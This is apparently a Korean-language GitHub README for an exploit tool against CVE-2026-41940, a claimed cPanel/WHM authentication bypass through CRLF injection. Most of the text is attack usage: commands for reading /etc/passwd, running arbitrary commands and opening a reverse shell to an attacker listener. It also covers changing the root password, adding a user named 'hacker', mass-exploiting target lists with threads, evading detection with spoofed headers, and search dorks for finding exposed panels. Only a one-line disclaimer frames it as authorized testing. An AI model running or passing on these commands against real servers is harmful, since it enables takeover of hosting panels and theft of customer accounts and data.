
🚀 CVE-2026-41940 cPanel/WHM Auth Bypass Exploit - 최적의 플로우 💥 CRLF 인젝션으로 인증 우회, 세션 하이재킹 및 계정 유출을 유발합니다. ✅ 프록시, 커스텀 UA, keep-alive, 재시도, SSL 검증, 컬러 출력, 파일 저장 지원. ⚡ 침투 테스터를 위한 고급 PoC.

cPanel & WHM 에디션 - CRLF 주입을 통한 인증 우회 및 완전한 세션 하이재킹
이 익스플로잇은 cPanel/WHM의 치명적인 인증 우회 취약점인 CVE-2026-41940을 악용합니다. 세션 관리 시스템에 정교하게 제작된 CRLF 페이로드를 주입하여 유효한 자격 증명 없이도 세션 하이재킹, 루트 액세스, 그리고 호스팅 패널에 대한 완전한 제어를 달성합니다.
| 카테고리 | 기능 |
|---|---|
| 공격 | ✅ CRLF 주입을 통한 인증 우회 ✅ WHM 세션 하이재킹 ✅ 보안 토큰 유출 ✅ 즉시 루트 액세스 |
| 사후 공격 | ✅ 계정 목록 추출 (사용자 + 도메인) ✅ 원격 명령 실행 (RCE) ✅ 리버스 셸 (netcat 호환) ✅ 파일 읽기 (설정 파일, 로그 등) ✅ 루트 비밀번호 변경 ✅ 새 cPanel 사용자 생성 |
| 스캐닝 | ✅ 단일 대상 공격 ✅ 다중 대상 대량 스캔 ✅ 멀티스레딩 (스레드 수 설정 가능) ✅ 포트 오버라이드 지원 |
| 은닉 | ✅ 요청 간 랜덤 지연 ✅ X-Forwarded-For 스푸핑 ✅ 커스텀 User-Agent 지원 ✅ 프록시 지원 (HTTP/HTTPS) |
| 사용성 | ✅ 인터랙티브 WHM 셸 (-i)✅ 컬러 출력 (colorama) ✅ 상세/디버그 모드 ✅ 계정 목록 파일 내보내기 ✅ Keep-Alive 세션 스레드 ✅ 불안정한 연결을 위한 재시도 메커니즘 |
port:2087 "cPanel" "WHM"
port:2083 "cPanel"
⚠️ 고지사항: 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 무단 접근은 불법입니다.
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41940-POC-Exploit
cd CVE-2026-41940-POC-Exploit
# Install dependencies
pip3 install -r requirements.txt
# Run
python3 exploit.py -t https://example.com:2087
# Basic exploitation (extract accounts)
python3 exploit.py -t https://192.168.1.100:2087
# Save accounts to file
python3 exploit.py -t https://192.168.1.100:2087 -o accounts.txt
# Verbose mode (debug output)
python3 exploit.py -t https://192.168.1.100:2087 -v
# Interactive WHM Shell (Recommended)
python3 exploit.py -t https://192.168.1.100:2087 -i
[email protected] $ accounts # List all cPanel accounts
[email protected] $ version # Show cPanel version
[email protected] $ ls /home # List directory
[email protected] $ cat /etc/passwd # Read file
[email protected] $ exec id # Execute command
[email protected] $ passwd NewPass123 # Change root password
[email protected] $ adduser test test.com pass123 # Create new user
[email protected] $ exit # Exit shell
## 🔧 원격 명령 실행
```bash
# Execute single command
python3 exploit.py -t https://192.168.1.100:2087 --cmd "id"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "cat /etc/passwd"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "whoami; hostname; uname -a"
# Read file
python3 exploit.py -t https://192.168.1.100:2087 --read /etc/passwd
python3 exploit.py -t https://192.168.1.100:2087 --read /home/example/config.php
# Attacker machine (listener)
nc -lvnp 4444
# Exploit (reverse shell)
python3 exploit.py -t https://192.168.1.100:2087 --reverse-shell 10.0.0.1:4444
# Change root password
python3 exploit.py -t https://192.168.1.100:2087 --passwd "NewRootPass123!"
# Create new cPanel user
python3 exploit.py -t https://192.168.1.100:2087 --adduser hacker hacker.com Pass1234
# Keep-alive session (maintain access)
python3 exploit.py -t https://192.168.1.100:2087 --no-keep-alive # Disable auto keep-alive
# Create targets file
echo "https://target1.com:2087" > targets.txt
echo "https://target2.com:2087" >> targets.txt
echo "https://10.0.0.5:2087" >> targets.txt
# Mass exploit with 20 threads
python3 exploit.py -l targets.txt --threads 20
# Mass exploit with command execution
python3 exploit.py -l targets.txt --threads 10 --cmd "id"
# Custom port (non-standard)
python3 exploit.py -t https://example.com -p 8443
# Using proxy
python3 exploit.py -t https://192.168.1.100:2087 --proxy http://127.0.0.1:8080
# Custom user-agent for stealth
python3 exploit.py -t https://192.168.1.100:2087 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# Custom delay and retries
python3 exploit.py -t https://192.168.1.100:2087 --delay 5 --max-retries 5
# SSL verification (ignore self-signed by default)
python3 exploit.py -t https://192.168.1.100:2087 --ssl-verify
docker run -d --name cpanel-test -p 2087:2087 cpanel/cpanel:102
docker pull cpanel/cpanel:11.102 docker run -d -p 2087:2087 cpanel/cpanel:11.102
제 다른 익스플로잇 저장소도 확인해 보세요:
| 제품 |
|---|
| 버전 |
|---|
| 상태 |
|---|
| cPanel & WHM | 11.92 - 11.102 | ✅ 확인됨 |
| cPanel & WHM | 11.104 - 11.110 | ✅ 확인됨 |
| cPanel & WHM | 11.118 - 11.136 | ⚠️ 제한적 |
| cPanel & WHM | < 11.86 | ✅ 취약할 가능성 있음 |
| 짧은 옵션 | 긴 옵션 | 설명 | 기본값 |
|---|
-t | --target | 단일 대상 URL | 필수 (단일) |
-l | --target-file | 대상 목록이 포함된 파일 | 필수 (대량) |
-p | --port | 포트 오버라이드 | 자동 감지 |
-o | --output | 계정 목록을 파일로 저장 | 없음 |
-v | --verbose | 디버그 출력 활성화 | False |
-i | --interactive | 인터랙티브 WHM 셸 | False |
--proxy | HTTP/HTTPS 프록시 | 없음 | |
-ua | --user-agent | 커스텀 User-Agent | 랜덤 |
--cmd | 단일 명령 실행 | 없음 | |
--reverse-shell | 리버스 셸 IP:PORT | 없음 | |
--passwd | 루트 비밀번호 변경 | 없음 | |
--adduser | 새 사용자 생성 (USER DOMAIN PASS) | 없음 | |
--read | 대상에서 파일 읽기 | 없음 | |
--threads | 대량 스캔용 스레드 수 | 10 | |
--delay | Keep-Alive 간격 (초) | 3.0 | |
--max-retries | 요청당 최대 재시도 횟수 | 3 | |
--no-keep-alive | 세션 유지 안 함 | False | |
--ssl-verify | SSL 인증서 검증 | False |